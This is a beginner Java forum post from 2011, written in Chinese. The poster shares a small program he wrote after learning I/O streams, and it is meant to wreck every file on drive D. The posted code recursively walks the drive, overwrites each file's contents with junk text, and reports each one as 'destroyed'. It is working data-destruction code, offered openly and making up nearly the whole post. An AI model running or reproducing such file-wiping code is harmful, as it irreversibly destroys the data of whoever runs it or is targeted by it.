论坛首页 入门技术论坛

刚学完流 搞了个破坏d盘说有文件的小程序

浏览 1558 次
精华帖 (0) :: 良好帖 (0) :: 新手帖 (0) :: 隐藏帖 (0)
作者 正文
   发表时间:2011-10-15  

刚学完流 搞了个破坏d盘说有文件的小程序

import java.io.*;

public class TestBiD{
   public static void main(String args[]){
      File f = new File("d:");

        [/color]if(f.isDirectory())
                   {
                     tree(f);
                   }

                   else
                  {
                    try{FileOutputStream FO = new FileOutputStream(f);
                         OutputStreamWriter OSW = new OutputStreamWriter(FO);
                         OSW.write("baoju");
                         OSW.close();
                         FO.close();
                         System.out.println("破坏成功");
                        }catch(IOException e){e.printStackTrace();}
                   }

 }

private static void tree(File s){
         File[] trees = s.listFiles();
         for(int i=0;i<trees.length;i++)
         {
            if(!(trees[i].isDirectory()))
           {
            try{FileOutputStream FO = new FileOutputStream(trees[i].getAbsolutePath());
                 OutputStreamWriter OSW = new OutputStreamWriter(FO);
                 OSW.write("dsfasjdfkajsdkfjaksdjfkajsdkf");
                 OSW.close();
                 FO.close();
                 System.out.println(trees[i].getName() + "破坏成功");
               }catch(IOException e){e.printStackTrace();}      
           }
   else
     {[color=brown]

      tree(trees[i]);
     }
   }
 }
}

 

论坛首页 入门技术版

跳转论坛:
Global site tag (gtag.js) - Google Analytics